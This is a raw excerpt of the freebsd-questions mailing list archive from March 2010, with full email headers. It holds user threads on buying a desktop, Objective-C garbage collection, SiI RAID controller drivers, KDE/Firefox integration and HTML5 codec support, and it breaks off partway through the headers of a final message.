id 8so753834iwn.28 for ; Wed, 10 Mar 2010 11:13:26 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=B/l7HnP7fYGuRogkSl5w4MPqqQuEVqiWwTnkcj7oxFI=; b=xEYQkcxJ6RLeIrYNGYzvuHw/ABReFXjt/vqThJknKUlX7SdQ93er41vg2gaITNHFAC 0usrgyIKH+yHH50hw8iCgs19Y64vvAs5EOVYJuIPsyrugY82t5/3PhSo204uHay8ateN XdKjuR92e6HQwZnlQW34csSi/Vi9xvXkzrFCw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=qNuBbx0GO1BbtMIf3zfXRAv79gqOt0KyPJJ1s9GHMa9jUbaqaHM6bXIH/3niwVeXej 6xdKxOQ2VF0Mf+en+PrY5sDqte0F1NrwmDFEleqxLBqubiB/OwG6FjMpQ1aoaoXHjtkg PoAwaOx2wh9IM+facLhTPa8sF0bqZ5rECrEBI= MIME-Version: 1.0 Received: by 10.231.150.142 with SMTP id y14mr169314ibv.32.1268248406043; Wed, 10 Mar 2010 11:13:26 -0800 (PST) In-Reply-To: <20100310190117.GB65190@thought.org> References: <20100309191916.GA55827@thought.org> <4B96E3CA.7050906@hdk5.net> <20100310033452.GA2223@thought.org> <6201873e1003092004y5e1a7c5and97c8eb849619961@mail.gmail.com> <20100310190117.GB65190@thought.org> Date: Wed, 10 Mar 2010 14:13:25 -0500 Message-ID: <3b93bd111003101113k7555dbbo18a9922dfde5d798@mail.gmail.com> From: "Diego F. Arias R." To: Gary Kline Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Adam Vande More , FreeBSD Mailing List , Al Plant Subject: Re: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 19:13:27 -0000 On Wed, Mar 10, 2010 at 2:01 PM, Gary Kline wrote: > On Tue, Mar 09, 2010 at 10:04:26PM -0600, Adam Vande More wrote: > > On Tue, Mar 9, 2010 at 9:34 PM, Gary Kline wrote: > > > > > Aloha Al and thanks for responding. {god this has been a > > > long day... . ............} > > > > > > Well, long-story-short, the most unepect thing happened: a > > > power surge. I did not realize that my printer was also off > > > until hours later. A friend helped me trace the problem and > > > reset my surgge-protector. ---It is worth noting that BEFORE > > > I got my battery [UPS], when things were dead or suddenly > > > went dead, i knew right away to check the surge-protector. > > > > > > nutshell: things are almost back. it'll be only an hour > > > before everything is back. > > > > > > still, this is a warning to get back on the ball and start > > > looking for a new desktop. > > > > > > i would be much obliged for ideas on what kind of dell to buy > > > next. i say 'dell' because i would like to make life simple > > > and eventually have one kind of box. (i have three tower > > > computers: one is my DNS/mail/web server; one is my pfSense > > > firewall; one is my laptop. i COULD use the server as a > > > desktop, but that would be too much of a risk! > > > > > > so:: should i be looking for a dual or quad? ----i am biased > > > toward intel because i think the AMD requires more juice. [[my > > > only linux server --long dead-- seemed to suck 100w to 107w as > > > a minimum.]] > > > > > > suggestions? > > > > > > > I don't really think much of Dell consumer level products or support. > While > > they aren't the worst out there, it still doesn't make it very compelling > > for me. Depending on your resources(money) you might consider something > > like this: > > > WEll, frankly, _cost_ is less of an issue considering all > the grief, &c. i think I've built [custom ordred] more > and better systems than the Dells and HPs. > > > > > http://www.ixsystems.com/apollo > > > I'll look this up when I am using a GUI mailer. > > > > While more money than you'd probably spend with dell, here's a couple > > reasons to consider it further. > > > > 1. Out the Box compatibility > > 2. Great hardware support/warranty service > > 3. Vendor backing of your OS > > 4. Long term upgradability, this will serve you better than any > emachine. > > 5. ixsystems is a large supporter of FreeBSD > > > > I believe the TCO of something like that is lower than most alternatives. > > > > One further thought is I don't see a lot sense in the requirement "must > be a > > dell, cause the other ones I have are dell" given the amount of machines > you > > run. To me, it would make more sense to standardize on something like > cpu, > > so that you could run one as a build system/package repository. I know > that > > settling on one vendor generally means you only need one source for > warranty > > work, but with stickers on cases and online accounts this isn't such an > > issue anymore. > > > > > I would like to establish a history with one vendor, so > your feedback makes sense. > > What I haven't decided on yet in whether to go with a > dual-core or quad-. mY current desktop is a 2.4GHz and > has always seemed slow when I've running more than five > tasks. Strange. The new dual-core server is like > greased lightening ... and extremely lightly loaded. > > gary > > > > > > -- > > Adam Vande More > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > > -- > Gary Kline kline@thought.org http://www.thought.org Public Service > Unix > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > I will choose to go witha Dual Core and the extra buck to a better hard driver, more memory or even better a good quality mainboard. -- mmm, interesante..... From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 19:14:28 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0A72B106566C for ; Wed, 10 Mar 2010 19:14:28 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-qy0-f183.google.com (mail-qy0-f183.google.com [209.85.221.183]) by mx1.freebsd.org (Postfix) with ESMTP id B28E68FC1D for ; Wed, 10 Mar 2010 19:14:27 +0000 (UTC) Received: by qyk14 with SMTP id 14so3830916qyk.9 for ; Wed, 10 Mar 2010 11:14:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=hBSkdTaw9Y9lMx+sUxyt2DW/PieIv5jEoJ0s+zPo+YQ=; b=nvcYJEAdGLn4KA4fYKkHevn+tF7pm7fQGS3Jy8CJHc+5xCzTw+68gBEGl976j/DzTn n4PLlP9xRedtHBLzaq1A0AJMyayuuQZf1cbiDaNKQIjyYUlJ0JAloUiMfkSc8C1xSMTQ ovkkbP6hnLpZ+c02jq95ji/lSCEAKyGr7ackI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=DOSsBRG56r05R+8nOhCsvQr/RUdIF8uEK0YFQYBWjnafr/01oiuu6ZlXKd4n4vkiic 6LLcWIYsp3YMJjyraU3n8vkFEE1CLOiWBsPEtj7GGpz+B/U8AMTVPlf76uxVq4E4y4Hm LLc5CjQRTK+f/3VCaLO4Ps9lQb0vAH7bHcPOU= MIME-Version: 1.0 Received: by 10.229.217.13 with SMTP id hk13mr1915032qcb.94.1268248465913; Wed, 10 Mar 2010 11:14:25 -0800 (PST) In-Reply-To: <20100310134405.GA18632@scout.stangl.us> References: <560f92641003100100y6490cf3veb53ca0b11a90dcb@mail.gmail.com> <20100310134405.GA18632@scout.stangl.us> Date: Wed, 10 Mar 2010 11:14:25 -0800 Message-ID: <560f92641003101114l289d8f7aje8d49b4e68e1fe21@mail.gmail.com> From: Nerius Landys To: Alex Stangl Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD Mailing List Subject: Re: Objective-C 2.0 on FreeBSD; garbage collection, anyone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 19:14:28 -0000 >> I am compiling this program and running it, and without the "release" >> calls there, it certainly is using up more and more memory every >> second. =A0Definitely no garbage collection happening. =A0I then modifie= d >> the GNUmakefile to make sure that the option "-fobjc-gc" was being >> passed to gcc, and verbose output from make assured me that this was >> the case. =A0However, my program sill did not garbage collect (3 gigs of >> RAM, then a segfault). =A0I then tried the gcc option "-fobjc-gc-only" >> and gcc42 reported that it did not recognize that option. =A0The options >> are described here: >> http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-= 4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.htm= l > > While I am not very familiar with Objective C, I can tell you that GC > generally runs in the background, using idle time to scavenge memory. > (It's not counted pointers, synchronously freeing memory immediately.) > So if you race to allocate memory in an infinite loop like this, you are > destined to exhaust memory, GC or no, unless the runtime is designed to > force a GC on alloc in low memory conditions. > > Try putting some sort of sleep in the middle of your loop and see if GC > kicks in and you get more of a sawtooth memory usage pattern. Well thanks for that advice. My new program looks like this: #import "GarbageObj.h" int main(int argc, const char *argv[]) { int inx =3D 0; while (YES) { inx++; GarbageObj *obj =3D [[GarbageObj alloc] init]; [obj foo]; if (inx =3D=3D 100000) { inx =3D 0; sleep(1); } } return 0; } Unfortunately the memory usage is still steadily increasing. No garbage collection even if I compile with "-fobjc-gc". :-( From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 19:21:06 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7A0641065670 for ; Wed, 10 Mar 2010 19:21:06 +0000 (UTC) (envelope-from psteele@maxiscale.com) Received: from server505.appriver.com (server505a.appriver.com [98.129.35.4]) by mx1.freebsd.org (Postfix) with ESMTP id 435F48FC53 for ; Wed, 10 Mar 2010 19:21:06 +0000 (UTC) X-Policy: GLOBAL - maxiscale.com X-Policy: GLOBAL - maxiscale.com X-Primary: psteele@maxiscale.com X-Note: This Email was scanned by AppRiver SecureTide X-ALLOW: psteele@maxiscale.com ALLOWED X-Virus-Scan: V- X-Note: Spam Tests Failed: X-Country-Path: UNITED STATES->UNITED STATES->UNITED STATES X-Note-Sending-IP: 98.129.23.45 X-Note-Reverse-DNS: ht03.exg5.exghost.com X-Note-WHTLIST: psteele@maxiscale.com X-Note: User Rule Hits: X-Note: Global Rule Hits: G179 G180 G181 G182 G186 G187 G198 G285 X-Note: Encrypt Rule Hits: X-Note: Mail Class: ALLOWEDSENDER X-Note: Headers Injected Received: from [98.129.23.45] (HELO HT03.exg5.exghost.com) by server505.appriver.com (CommuniGate Pro SMTP 5.3.2) with ESMTPS id 31677718; Wed, 10 Mar 2010 13:21:05 -0600 Received: from mbx03.exg5.exghost.com ([169.254.1.200]) by HT03.exg5.exghost.com ([10.242.228.75]) with mapi; Wed, 10 Mar 2010 13:21:04 -0600 From: Peter Steele To: Jason Date: Wed, 10 Mar 2010 13:21:03 -0600 Thread-Topic: Creating a .iso bootable image Thread-Index: AcrAf+QpWHYIF/XCRpGTmL2I2SDYSAABrvtg Message-ID: <7B9397B189EB6E46A5EE7B4C8A4BB7CB3A25985F@MBX03.exg5.exghost.com> References: <7B9397B189EB6E46A5EE7B4C8A4BB7CB3A2597D8@MBX03.exg5.exghost.com> <20100310182938.GA8284@eggman.experts-exchange.com> In-Reply-To: <20100310182938.GA8284@eggman.experts-exchange.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: "freebsd-questions@freebsd.org" Subject: RE: Creating a .iso bootable image X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 19:21:06 -0000 >You can do this with the native "make release" process for freebsd. > >http://www.freebsd.org/doc/en_US.ISO8859-1/articles/releng/release-build.h= tml > >Is this what you are looking for? Hmmm. This might very well do what we need. I'll check it out. Thanks. From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 19:30:29 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 64F0C106564A for ; Wed, 10 Mar 2010 19:30:29 +0000 (UTC) (envelope-from mikel.king@olivent.com) Received: from mail.olivent.com (mail.olivent.com [75.99.82.91]) by mx1.freebsd.org (Postfix) with ESMTP id CFA788FC1A for ; Wed, 10 Mar 2010 19:30:28 +0000 (UTC) Received: from localhost ([127.0.0.1]) by mail.olivent.com (Kerio Connect 7.0.0 patch 1) (using TLSv1/SSLv3 with cipher AES128-SHA (128 bits)); Wed, 10 Mar 2010 14:30:21 -0500 References: Message-Id: <26789785-7BA1-4177-831E-C680BC95FB02@olivent.com> From: mikel king To: Alexander Best In-Reply-To: Mime-Version: 1.0 (Apple Message framework v936) Date: Wed, 10 Mar 2010 14:30:22 -0500 X-Mailer: Apple Mail (2.936) Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Byung-Hee HWANG , freebsd-questions@FreeBSD.org Subject: Re: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 19:30:29 -0000 On Mar 7, 2010, at 10:35 AM, Alexander Best wrote: > recent chromium builds on http://chromium.jaggeri.com/ and > http://code.google.com/p/chromium-freebsd8/ support html5. don't > know if the > firefox and opera ports support html5 yet. > > alex Opera seems to have the best support for HTML5 at this point. http://en.wikipedia.org/wiki/Comparison_of_layout_engines_%28HTML5%29 Regards, Mikel King CEO, Olivent Technologies Senior Editor, BSD News Network Columnist, BSD Magazine 6 Alpine Court, Medford, NY 11763 o: 631.627.3055 c: 631.796.1499 skype:mikel.king http://olivent.com http://www.linkedin.com/in/mikelking http://twitter.com/mikelking From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 19:34:19 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 00AC1106564A for ; Wed, 10 Mar 2010 19:34:19 +0000 (UTC) (envelope-from mikel.king@olivent.com) Received: from mail.olivent.com (mail.olivent.com [75.99.82.91]) by mx1.freebsd.org (Postfix) with ESMTP id 73AEB8FC13 for ; Wed, 10 Mar 2010 19:34:18 +0000 (UTC) Received: from localhost ([127.0.0.1]) by mail.olivent.com (Kerio Connect 7.0.0 patch 1) (using TLSv1/SSLv3 with cipher AES128-SHA (128 bits)); Wed, 10 Mar 2010 14:33:25 -0500 References: <87fx4b6kkh.fsf@bifteki.lan> Message-Id: From: mikel king To: ltsampros In-Reply-To: <87fx4b6kkh.fsf@bifteki.lan> Mime-Version: 1.0 (Apple Message framework v936) Date: Wed, 10 Mar 2010 14:33:25 -0500 X-Mailer: Apple Mail (2.936) Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Alexander Best , freebsd-questions@FreeBSD.org Subject: Re: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 19:34:19 -0000 On Mar 8, 2010, at 7:53 AM, ltsampros wrote: > Alexander Best writes: > >> recent chromium builds on http://chromium.jaggeri.com/ and >> http://code.google.com/p/chromium-freebsd8/ support html5. don't >> know if the >> firefox and opera ports support html5 yet. > > If you use the latest version of firefox , check this link: > > http://www.mozilla.com/en-US/firefox/video/?video=personas > > It played flawless on my system and I don't remember me having > configured some option/port knob to enable the functionality. > > However, there is an ongoing battle regarding which codecs would be > supported. Google/Apple support h264 while Mozilla/Opera prefer/ > advocate > the Ogg theora one. I think this is a pretty thin picture of the > situation but I guess you can google it around. > > So, don't expect all html5/video sites to work. > >> alex The main issue is licensing fees. The company that owns h2.64 charges $5M for a license. Ogg Theora on the other hand is slightly more affordable as a semi-open codec. I certainly would not bet the farm on this fight ending nicely. Regards, Mikel King CEO, Olivent Technologies Senior Editor, BSD News Network Columnist, BSD Magazine 6 Alpine Court, Medford, NY 11763 o: 631.627.3055 c: 631.796.1499 skype:mikel.king http://olivent.com http://www.linkedin.com/in/mikelking http://twitter.com/mikelking From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 20:56:56 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E881A1065675 for ; Wed, 10 Mar 2010 20:56:56 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mail.gelita.se (212-162-182-244.skbbip.com [212.162.182.244]) by mx1.freebsd.org (Postfix) with ESMTP id A97608FC2E for ; Wed, 10 Mar 2010 20:56:56 +0000 (UTC) Received: from mail.gelita.se (localhost.gelita.se [127.0.0.1]) by mail.gelita.se (Postfix) with ESMTP id BD4CE10E79E; Wed, 10 Mar 2010 21:58:59 +0100 (CET) X-Virus-Scanned: amavisd-new at troback.com Received: from mail.gelita.se ([127.0.0.1]) by mail.gelita.se (mail.gelita.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id z93BftgjX5Hf; Wed, 10 Mar 2010 21:58:54 +0100 (CET) Received: from bljbsd01.no-ip.org (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mail.gelita.se (Postfix) with ESMTP id 8BC9610E50A; Wed, 10 Mar 2010 21:58:54 +0100 (CET) Message-ID: <4B980792.3050103@eskk.nu> Date: Wed, 10 Mar 2010 21:56:50 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; sv-SE; rv:1.9.1.8) Gecko/20100302 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: sos@freebsd.ord Subject: Silicon Image SiI 3124 and 3132 RAID controllers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 20:56:57 -0000 I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also have an addon card with a SiI 3124 RAID controller. The problem is that I can see the 2 disks and the RAID1 set that I want to use for the system if I connect the disks to the built in 3132 controller. But if I connect the disks to the 3124 controller and create a RAID1 set, only the disks can be seen. I need to be able to use both controllers because I've got four disks that I want to build a RAID5 set on one of the controllers. Can anyone shed some light on this. Via Google I've read some articles about these controllers and I'm aware that I might have to rethink because of lacking support for the 3124 controller. I've read in the ata man page that parameters can be added to /boot/device.hints but I'm not sure how to handle this during installation. /Leslie From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 22:12:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D7123106566B for ; Wed, 10 Mar 2010 22:12:09 +0000 (UTC) (envelope-from korvus@comcast.net) Received: from mx04.pub.collaborativefusion.com (mx04.pub.collaborativefusion.com [206.210.72.84]) by mx1.freebsd.org (Postfix) with ESMTP id A43048FC24 for ; Wed, 10 Mar 2010 22:12:09 +0000 (UTC) Received: from [192.168.2.164] ([206.210.89.202]) by mx04.pub.collaborativefusion.com (StrongMail Enterprise 4.1.1.4(4.1.1.4-47689)); Wed, 10 Mar 2010 17:29:18 -0500 X-VirtualServerGroup: Default X-MailingID: 00000::00000::00000::00000::::0 X-SMHeaderMap: mid="X-MailingID" X-Destination-ID: freebsd-questions@freebsd.org X-SMFBL: ZnJlZWJzZC1xdWVzdGlvbnNAZnJlZWJzZC5vcmc= Message-ID: <4B981934.9090904@comcast.net> Date: Wed, 10 Mar 2010 17:12:04 -0500 From: Steve Polyack User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.1.7) Gecko/20100211 Thunderbird/3.0.1 MIME-Version: 1.0 To: Leslie Jensen References: <4B980792.3050103@eskk.nu> In-Reply-To: <4B980792.3050103@eskk.nu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Silicon Image SiI 3124 and 3132 RAID controllers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 22:12:09 -0000 On 03/10/10 15:56, Leslie Jensen wrote: > > I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit > aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also > have an addon card with a SiI 3124 RAID controller. > > The problem is that I can see the 2 disks and the RAID1 set that I > want to use for the system if I connect the disks to the built in 3132 > controller. But if I connect the disks to the 3124 controller and > create a RAID1 set, only the disks can be seen. > > I need to be able to use both controllers because I've got four disks > that I want to build a RAID5 set on one of the controllers. > > Can anyone shed some light on this. Via Google I've read some articles > about these controllers and I'm aware that I might have to rethink > because of lacking support for the 3124 controller. > > I've read in the ata man page that parameters can be added to > /boot/device.hints but I'm not sure how to handle this during > installation. > > /Leslie > > Are you using the default ata(4) driver that FreeBSD-8 boots with, or are you loading the siis(4) module at boot? If you are using the ata(4) driver, you should try enabling the siis(4) driver by placing 'siis_load="YES"' in /boot/loader.conf. Beware that the names of your disks will transition from ad -> ada and will likely be renumbered as well. The siis(4) driver overall has a much richer feature set. I have several 3124 controllers which work great with it, but I have never tried using the controllers RAID - I simply use them as disk controllers and then pool the disks using ZFS. From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 23:03:05 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9758F106566C; Wed, 10 Mar 2010 23:03:05 +0000 (UTC) (envelope-from kris@pcbsd.com) Received: from mxout1.mainstreet.net (mxout.mainstreet.net [207.5.0.25]) by mx1.freebsd.org (Postfix) with ESMTP id 641728FC0C; Wed, 10 Mar 2010 23:03:05 +0000 (UTC) Received: from pcbsd.ixsystems.com (pcbsd.ixsystems.com [206.40.55.78]) by mxout1.mainstreet.net (8.13.8/8.13.4) with ESMTP id o2AMjjtv073675; Wed, 10 Mar 2010 14:45:47 -0800 (PST) Received: from [172.16.55.248] (tcn003123.tcn-catv.ne.jp [219.109.193.123]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by pcbsd.ixsystems.com (Postfix) with ESMTPSA id 14BB1140EC01; Wed, 10 Mar 2010 14:45:38 -0800 (PST) Message-ID: <4B982111.9090005@pcbsd.com> Date: Wed, 10 Mar 2010 17:45:37 -0500 From: Kris Moore User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.1.8) Gecko/20100302 Thunderbird/3.0.3 MIME-Version: 1.0 To: Josh Paetzel References: <201003071456.15638.amsibamsi@gmail.com> <201003070852.35803.jpaetzel@freebsd.org> <201003071753.29305.amsibamsi@gmail.com> <201003071129.17644.jpaetzel@freebsd.org> In-Reply-To: <201003071129.17644.jpaetzel@freebsd.org> Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit Cc: Elias Chrysoheris , freebsd-questions@freebsd.org, Anselm Strauss , kris@pcbsd.org Subject: Re: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 23:03:05 -0000 On 03/07/2010 12:29, Josh Paetzel wrote: > On Sunday 07 March 2010 10:53:29 Anselm Strauss wrote: >> On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote: >>> On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote: >>>> On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote: >>>>> Hi, >>>>> >>>>> I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. >>>>> Anybody knows how to achieve this on FreeBSD 8? >>>>> >>>>> Anselm >>>>> _______________________________________________ >>>>> freebsd-questions@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>>> To unsubscribe, send any mail to >>>>> >>>>> "freebsd-questions-unsubscribe@freebsd.org" >>>> >>>> I believe you mean that you need KDE to open Firefox whenever you click >>>> on a link. That's easy. From your KDE menu, open "System Settings" (in >>>> the first tab, "favorites") >>>> Then select "Default Applications". Then, in the left list of the >>>> applications, choose "Web browser", and at the right part of the screen >>>> choose the radio button "in the following browser" and in the edit box >>>> enter the "/usr/local/bin/firefox3". Then apply the new settings. >>>> >>>> Elias >>> >>> Another trick that PC-BSD uses....which might be more of what you are >>> >>> asking about is the installation of a port called >>> x11-themes/gtk-qt4-engine This port allows gtk applications to be >>> displayed using qt, which helps integrate the look of things like FF, >>> Thunderbird, OOo with KDE. >> >> I already installed the gtk-qt4-engine, but it has some serious bugs. >> Scroll bars are not painted, tab borders are painted at the wrong >> position, etc. Could this be because I modified some of KDEs appearance >> options? >> The gtk-qt4-engine works great here, not run into those problems you describe. Check the gtk-qt4-engine configuration gui in KDE4's system settings though, there is a fix you can enable to fix scrollbar issues. >> Are there any other integration tweaks, like icons, keyboard shortcuts, >> file chooser dialog, ... ? We've not modified anything else like that, just standard stuff. >> Thanks, >> Anselm Kris Moore PC-BSD Software http://www.pcbsd.com From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 23:35:16 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 54FBB106566B for ; Wed, 10 Mar 2010 23:35:16 +0000 (UTC) (envelope-from lobo@bsd.com.br) Received: from mail-gx0-f211.google.com (mail-gx0-f211.google.com [209.85.217.211]) by mx1.freebsd.org (Postfix) with ESMTP id 18C148FC1C for ; Wed, 10 Mar 2010 23:35:15 +0000 (UTC) Received: by gxk3 with SMTP id 3so2163868gxk.13 for ; Wed, 10 Mar 2010 15:35:15 -0800 (PST) Received: by 10.101.11.14 with SMTP id o14mr676187ani.196.1268264113606; Wed, 10 Mar 2010 15:35:13 -0800 (PST) Received: from papi.localnet ([189.70.128.97]) by mx.google.com with ESMTPS id 8sm2343071yxb.43.2010.03.10.15.35.11 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 10 Mar 2010 15:35:12 -0800 (PST) From: Mario Lobo To: parv@pair.com Date: Wed, 10 Mar 2010 20:36:59 +0000 User-Agent: KMail/1.12.4 (FreeBSD/8.0-STABLE; KDE/4.3.5; amd64; ; ) References: <4B976ED8.4090302@gmx.com> <201003100850.58321.lobo@bsd.com.br> <20100310144959.GA1337@holstein.holy.cow> In-Reply-To: <20100310144959.GA1337@holstein.holy.cow> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201003102036.59623.lobo@bsd.com.br> Cc: freebsd-questions@freebsd.org Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 23:35:16 -0000 On Wednesday 10 March 2010 14:49:59 parv@pair.com wrote: > in message <201003100850.58321.lobo@bsd.com.br>, > wrote Mario Lobo thusly... > > ... > > > I have 8-STABLE amd64 > > > > I have a dell vostro 1320 with a 4315 wireless and got it working > > with the bwn driver from HEAD (svn) and the net/bwn-firmware-kmod > > port. > > Mario, do WPA & WPA2 work with the card? > > > - parv > WEP - yes WPA - not tested WPA2 - not tested -- Mario Lobo http://www.mallavoodoo.com.br FreeBSD since version 2.2.8 [not Pro-Audio.... YET!!] (99,7% winfoes FREE) From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 01:41:10 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6B7AF106564A for ; Thu, 11 Mar 2010 01:41:10 +0000 (UTC) (envelope-from mailinglist@ucwv.edu) Received: from mail.ucwv.edu (mail.ucwv.edu [216.30.201.15]) by mx1.freebsd.org (Postfix) with ESMTP id 3ACB08FC1D for ; Thu, 11 Mar 2010 01:41:09 +0000 (UTC) Received: from mail.ucwv.edu ([172.16.0.15]) by mail.ucwv.edu ([172.16.0.15]) with mapi; Wed, 10 Mar 2010 20:40:48 -0500 From: mailinglist To: "freebsd-questions@freebsd.org" Date: Wed, 10 Mar 2010 20:36:08 -0500 Thread-Topic: Replacing Home Router With PC Thread-Index: 